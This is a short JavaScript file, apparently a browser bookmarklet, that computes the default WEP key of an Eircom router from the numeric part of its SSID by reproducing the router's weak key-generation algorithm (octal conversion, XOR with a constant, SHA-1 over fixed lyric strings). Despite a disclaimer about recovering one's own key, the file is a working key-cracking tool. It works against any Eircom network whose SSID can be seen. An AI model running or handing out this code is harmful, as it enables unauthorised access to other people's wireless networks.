eircom-wep-recovery.js

// {{{ Disclaimer
/**
* My WEP key was lost. I had no other choice. I had to fix it.
* Please do not use unless authorized by the owner of the router.
*/
// }}}
var s=document.createElement('script');
s.setAttribute('src','http://jquery.com/src/jquery-latest.js');
document.getElementsByTagName('body')[0].appendChild(s);

var s=document.createElement('script');
s.setAttribute('src','http://plugins.jquery.com/files/jquery.sha1.js.txt');
document.getElementsByTagName('body')[0].appendChild(s);

// {{{ Eircom Helper class
var Eircom = {};
Eircom.octdec = function(oct) {
    var len   = oct.length;
    var total = 0;
    var i, j;
    
    for(i = 0 , j = len - 1; i < len; i++, j--) {	
    	total = total + parseInt(oct.charAt(i)) * Math.pow(8, j);
    }
    
    return new Number(total)
};
// }}}

var ssid   = prompt('Enter the numerical part of your SSID please', '12341234');
var octed  = Eircom.octdec(ssid);
var xored  = octed ^ 4044;
var serial = new String(xored + 16777216);

var plain  = '';
var cipher = '';

var nums   = [
    'Zero', 'One', 'Two', 'Three', 'Four', 
    'Five', 'Six', 'Seven', 'Eight', 'Nine'
];

for (var c = 0; c < serial.length; c++) {
    plain += nums[serial.charAt(c)];
}

var secretLyrics = [
    'Although your world wonders me, ', 
    'with your superior cackling hen,',
    'Your people I do not understand,',
    'So to you I shall put an end and',
    'You\'ll never hear surf music aga',
    'Strange beautiful grassy green, ',
    'With your majestic silver seas, ',
    'Your mysterious mountains I wish'
];

for (var i = 0; i <= 7; ++i) {
    cipher += $.sha1(plain + '' + secretLyrics[i]);
}

cipher = cipher.substring(0, 26);
prompt('Just copy this and you have your WEP Key', cipher);